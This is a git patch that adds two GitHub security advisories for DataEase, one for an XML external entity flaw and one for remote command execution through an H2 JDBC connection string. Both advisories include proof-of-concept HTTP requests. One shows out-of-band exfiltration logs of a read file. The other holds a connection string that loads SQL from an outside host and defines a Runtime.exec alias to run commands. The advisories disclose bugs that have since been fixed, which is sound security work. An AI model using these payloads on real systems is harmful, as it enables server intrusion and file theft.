From 5f993aad5ca42d258851035790a601b02e70afd9 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Mon, 23 Sep 2024 20:28:18 +0000 Subject: [PATCH] Publish Advisories GHSA-4m9p-7xg6-f4mm GHSA-h7mj-m72h-qm8w --- .../GHSA-4m9p-7xg6-f4mm.json | 68 +++++++++++++++++++ .../GHSA-h7mj-m72h-qm8w.json | 68 +++++++++++++++++++ 2 files changed, 136 insertions(+) create mode 100644 advisories/github-reviewed/2024/09/GHSA-4m9p-7xg6-f4mm/GHSA-4m9p-7xg6-f4mm.json create mode 100644 advisories/github-reviewed/2024/09/GHSA-h7mj-m72h-qm8w/GHSA-h7mj-m72h-qm8w.json diff --git a/advisories/github-reviewed/2024/09/GHSA-4m9p-7xg6-f4mm/GHSA-4m9p-7xg6-f4mm.json b/advisories/github-reviewed/2024/09/GHSA-4m9p-7xg6-f4mm/GHSA-4m9p-7xg6-f4mm.json new file mode 100644 index 00000000000..d04895484bd --- /dev/null +++ b/advisories/github-reviewed/2024/09/GHSA-4m9p-7xg6-f4mm/GHSA-4m9p-7xg6-f4mm.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-4m9p-7xg6-f4mm", + "modified": "2024-09-23T20:27:22Z", + "published": "2024-09-23T20:27:22Z", + "aliases": [ + "CVE-2024-46985" + ], + "summary": "DataEase has an XML External Entity Reference vulnerability", + "details": "### Impact\nThere is an XML external entity injection vulnerability in the static resource upload interface of DataEase. An attacker can construct a payload to implement intranet detection and file reading.\n\n1. send request:\n```\nPOST /de2api/staticResource/upload/1 HTTP/1.1\nHost: dataease.ubuntu20.vm\nContent-Length: 348\nAccept: application/json, text/plain, */*\nout_auth_platform: default\nX-DE-TOKEN: jwt\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary6OZBNygiUCAZEbMn\n\n------WebKitFormBoundary6OZBNygiUCAZEbMn\nContent-Disposition: form-data; name=\"file\"; filename=\"1.svg\"\nContent-Type: a\n\n\n \n %EvilDTD;\n %LoadOOBEnt;\n %OOB;\n ]>\n------WebKitFormBoundary6OZBNygiUCAZEbMn--\n\n// 1.dtd的内容\n\n \">\n```\n\n2. After sending the request, the content of the file /etc/alpine-release is successfully read\n```\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /1.dtd HTTP/1.1\" 200 -\n::ffff:10.168.174.136 - - [16/Sep/2024 10:23:44] \"GET /?content=3.20.0 HTTP/1.1\" 200 -\n```\n\nAffected versions: <= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "io.dataease:common" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.10.1" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.10.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/dataease/dataease/security/advisories/GHSA-4m9p-7xg6-f4mm" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46985" + }, + { + "type": "PACKAGE", + "url": "https://github.com/dataease/dataease" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-611" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-09-23T20:27:22Z", + "nvd_published_at": "2024-09-23T16:15:06Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/09/GHSA-h7mj-m72h-qm8w/GHSA-h7mj-m72h-qm8w.json b/advisories/github-reviewed/2024/09/GHSA-h7mj-m72h-qm8w/GHSA-h7mj-m72h-qm8w.json new file mode 100644 index 00000000000..ba10010cd45 --- /dev/null +++ b/advisories/github-reviewed/2024/09/GHSA-h7mj-m72h-qm8w/GHSA-h7mj-m72h-qm8w.json @@ -0,0 +1,68 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-h7mj-m72h-qm8w", + "modified": "2024-09-23T20:27:11Z", + "published": "2024-09-23T20:27:11Z", + "aliases": [ + "CVE-2024-46997" + ], + "summary": "DataEase's H2 datasource has a remote command execution risk", + "details": "### Impact\nAn attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string.\n\nrequest message:\n```\nPOST /de2api/datasource/validate HTTP/1.1\nHost: dataease.ubuntu20.vm\nUser-Agent: python-requests/2.31.0\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: close\nX-DE-TOKEN: jwt\nContent-Length: 209\nContent-Type: application/json\n\n{\n \"id\": \"\",\n \"name\": \"test\",\n \"type\": \"h2\",\n \"configuration\": \"eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==\"\n}\n```\n\nh2 data source connection string:\n```\n// configuration\n{\n \"jdbc\": \"jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);\",\n}\n```\n\nthe content of poc.sql:\n```\n// poc.sql\nCREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return \"su18\";}';CALL EXEC ('touch /tmp/jdbch2rce')\n```\n\nYou can see that the file was created successfully in docker:\n```\n/tmp # ls -l jdbch2rce \n-rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce\n```\nAffected versions: <= 2.10.0\n\n### Patches\nThe vulnerability has been fixed in v2.10.1.\n\n### Workarounds\nIt is recommended to upgrade the version to v2.10.1.\n\n### References\nIf you have any questions or comments about this advisory:\n\nOpen an issue in https://github.com/dataease/dataease\nEmail us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" + }, + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "io.dataease:common" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.10.1" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 2.10.0" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/dataease/dataease/security/advisories/GHSA-h7mj-m72h-qm8w" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46997" + }, + { + "type": "PACKAGE", + "url": "https://github.com/dataease/dataease" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-74" + ], + "severity": "CRITICAL", + "github_reviewed": true, + "github_reviewed_at": "2024-09-23T20:27:11Z", + "nvd_published_at": "2024-09-23T16:15:06Z" + } +} \ No newline at end of file